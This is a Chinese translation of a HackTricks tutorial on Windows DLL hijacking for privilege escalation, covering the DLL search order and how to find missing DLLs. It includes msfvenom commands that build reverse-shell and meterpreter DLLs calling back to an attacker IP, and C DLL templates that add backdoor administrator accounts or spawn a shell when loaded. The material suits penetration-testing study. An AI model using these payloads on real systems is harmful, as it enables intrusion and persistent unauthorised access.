hacktricks/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md

15 KiB
Raw Blame History

Dll 劫持

从零开始学习 AWS 黑客技术,成为 htARTE (HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

如果您对黑客职业感兴趣并且想要黑入不可黑的系统 - 我们正在招聘!需要流利的波兰语书写和口语)。

{% embed url="https://www.stmcyber.com/careers" %}

定义

首先让我们先弄清楚定义。从广义上讲Dll 劫持是欺骗合法/受信任的应用程序加载任意 DLLDLL 搜索顺序劫持DLL 加载顺序劫持DLL 伪装DLL 注入DLL 侧加载 这些术语经常被错误地用来表示相同的意思。

Dll 劫持可以用来执行代码、获得持久性提升权限。在这三个目标中,最不可能找到的是权限提升。然而由于这是权限提升部分的一部分我将专注于这个选项。另外请注意无论目标是什么dll 劫持的执行方式都是相同的。

类型

有多种方法可供选择,成功与否取决于应用程序配置加载其所需 DLL 的方式。可能的方法包括:

  1. DLL 替换:用恶意 DLL 替换合法 DLL。这可以与 DLL 代理 结合使用,确保原始 DLL 的所有功能保持完整。
  2. DLL 搜索顺序劫持:应用程序未指定路径的 DLL 将按特定顺序在固定位置进行搜索。通过将恶意 DLL 放在实际 DLL 之前搜索的位置来劫持搜索顺序。这有时包括目标应用程序的工作目录。
  3. 幽灵 DLL 劫持:在合法应用程序尝试加载的缺失/不存在的 DLL 位置放置恶意 DLL。
  4. DLL 重定向:更改搜索 DLL 的位置,例如通过编辑 %PATH% 环境变量,或 .exe.manifest / .exe.local 文件以包含包含恶意 DLL 的文件夹。
  5. WinSxS DLL 替换:在目标 DLL 的相关 WinSxS 文件夹中用恶意 DLL 替换合法 DLL。通常被称为 DLL 侧加载。
  6. 相对路径 DLL 劫持:将合法应用程序复制(并可选重命名)到用户可写文件夹,与恶意 DLL 放在一起。这种使用方式与(签名的)二进制代理执行有相似之处。这种方法的一个变体被(有些矛盾地)称为‘带上你自己的 LOLbin’,其中合法应用程序与恶意 DLL 一起带来(而不是从受害者机器上的合法位置复制)。

寻找缺失的 Dlls

在系统内寻找缺失的 Dlls 最常见的方法是运行来自 sysinternals 的 [procmon]设置以下两个过滤器

并只显示文件系统活动

如果您正在寻找一般缺失的 dlls,您可以让它运行几秒钟
如果您正在寻找特定可执行文件内的缺失 dll,您应该设置另一个过滤器,如 "Process Name" "contains" "<exec name>",执行它,并停止捕获事件

利用缺失的 Dlls

为了提升权限,我们最好的机会是能够编写一个特权进程将尝试加载的 dll,在某个将要被搜索的地方。因此,我们将能够在 dll 在原始 dll 所在的文件夹之前被搜索的文件夹中写入 dll奇怪的情况或者我们将能够在 dll 将要被搜索的某个文件夹中写入,而原始的dll 不存在于任何文件夹

Dll 搜索顺序

Microsoft 文档 中,您可以找到特定加载 Dlls 的方式。

通常,Windows 应用程序会使用预定义的搜索路径来查找 DLL并且会按特定顺序检查这些路径。Dll 劫持通常通过将恶意 DLL 放置在这些文件夹中的一个来发生,同时确保在合法 DLL 之前找到该 DLL。通过让应用程序指定它需要的 DLL 的绝对路径可以缓解这个问题。

您可以在下面看到32 位系统上的DLL 搜索顺序

  1. 应用程序加载的目录。
  2. 系统目录。使用 GetSystemDirectory 函数获取此目录的路径。(C:\Windows\System32
  3. 16 位系统目录。没有函数可以获取此目录的路径,但它会被搜索。(C:\Windows\System
  4. Windows 目录。使用 GetWindowsDirectory 函数获取此目录的路径。 (C:\Windows)
  5. 当前目录。
  6. 列在 PATH 环境变量中的目录。请注意,这不包括由 App Paths 注册表键指定的每个应用程序路径。计算 DLL 搜索路径时不使用 App Paths 键。

这是启用 SafeDllSearchMode 时的默认搜索顺序。当它被禁用时,当前目录升级到第二位。要禁用此功能,请创建 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode 注册表值并将其设置为 0默认为启用

如果调用 LoadLibraryEx 函数并带有 LOAD_WITH_ALTERED_SEARCH_PATH,则搜索从 LoadLibraryEx 正在加载的可执行模块的目录开始。

最后,请注意,可以通过指定绝对路径而不仅仅是名称来加载 dll。在这种情况下dll 只会在该路径中被搜索(如果 dll 有任何依赖,它们将被视为仅通过名称加载)。

还有其他方法可以改变搜索顺序,但我不会在这里解释它们。

Windows 文档中 dll 搜索顺序的例外

  • 如果内存中已经加载了具有相同模块名称的 DLL,系统只检查重定向和清单,然后解析为已加载的 DLL无论它在哪个目录中。系统不会搜索 DLL
  • 如果 DLL 在应用程序运行的 Windows 版本的已知 DLL 列表上,系统使用其已知 DLL 的副本(以及任何依赖的已知 DLL而不是搜索 DLL。有关当前系统上已知 DLL 的列表,请参阅以下注册表键:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
  • 如果 DLL 有依赖项,系统会搜索依赖 DLL就好像它们是仅用其模块名称加载的一样。即使第一个 DLL 是通过指定完整路径加载的,这也是真的。

提升权限

先决条件

  • 找到一个进程,该进程运行/将以其他权限运行(水平/横向移动),并且缺少 dll
  • 在任何dll将要被搜索文件夹中拥有写权限(可能是可执行文件目录或系统路径内的某个文件夹)。

是的,先决条件很难找到,因为默认情况下,找到一个缺少 dll 的特权可执行文件是有点奇怪的,而且在系统路径文件夹中拥有写权限更是更奇怪(默认情况下你不能)。但是,在配置不当的环境中,这是可能的。
如果你幸运地发现自己满足了要求,你可以查看 UACME 项目。即使该项目的主要目标是绕过 UAC,你也可能会在那里找到一个可以使用的 Dll 劫持的 PoC(可能只是更改你有写权限的文件夹路径)。

请注意,您可以通过以下方式检查您在文件夹中的权限

accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

检查 PATH 中所有文件夹的权限:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

你也可以使用以下方法检查一个可执行文件的导入和一个dll的导出

dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll

要了解如何滥用Dll劫持来提升权限,并拥有在系统路径文件夹中写入权限的完整指南,请查看:

{% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %} writable-sys-path-+dll-hijacking-privesc.md {% endcontent-ref %}

自动化工具

Winpeas会检查你是否有系统PATH中任何文件夹的写权限。
其他发现此漏洞的有趣自动化工具是PowerSploit函数Find-ProcessDLLHijackFind-PathDLLHijackWrite-HijackDll

示例

如果你发现了一个可利用的场景,成功利用它最重要的事情之一将是创建一个至少导出可执行文件将从中导入的所有函数的dll。无论如何请注意Dll劫持在从中等完整性级别提升到高级别 绕过UAC或从高完整性到SYSTEM时非常方便。 你可以在这个专注于执行的dll劫持研究中找到一个如何创建有效dll的示例:https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows
此外,在下一节中,你可以找到一些基本的dll代码,这些代码可能作为模板或创建不需要导出函数的dll时很有用。

创建和编译Dlls

Dll代理

基本上,Dll代理是一种能够在加载时执行恶意代码,但也能通过转发所有调用到真实库暴露工作按预期运行的Dll。

使用工具**DLLirant** 或 Spartacus,你实际上可以指定一个可执行文件并选择你想要代理的库,并生成一个代理dll,或者指定Dll生成一个代理dll

Meterpreter

获取反向shell (x64)

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

获取 meterpreter (x86)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

创建用户x86 我没有看到 x64 版本):

msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll

自己的

请注意在多数情况下你编译的Dll必须导出多个函数,这些函数将被受害进程加载,如果这些函数不存在,二进制文件将无法加载它们,漏洞利用将失败

// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

#include <windows.h>

int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll

#include<windows.h>
#include<stdlib.h>
#include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}

如果您对黑客职业感兴趣,并且想要黑进那些不可黑的系统 - 我们正在招聘!需要流利的波兰语书写和口语)。

{% embed url="https://www.stmcyber.com/careers" %}

从零开始学习AWS黑客技术成为 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式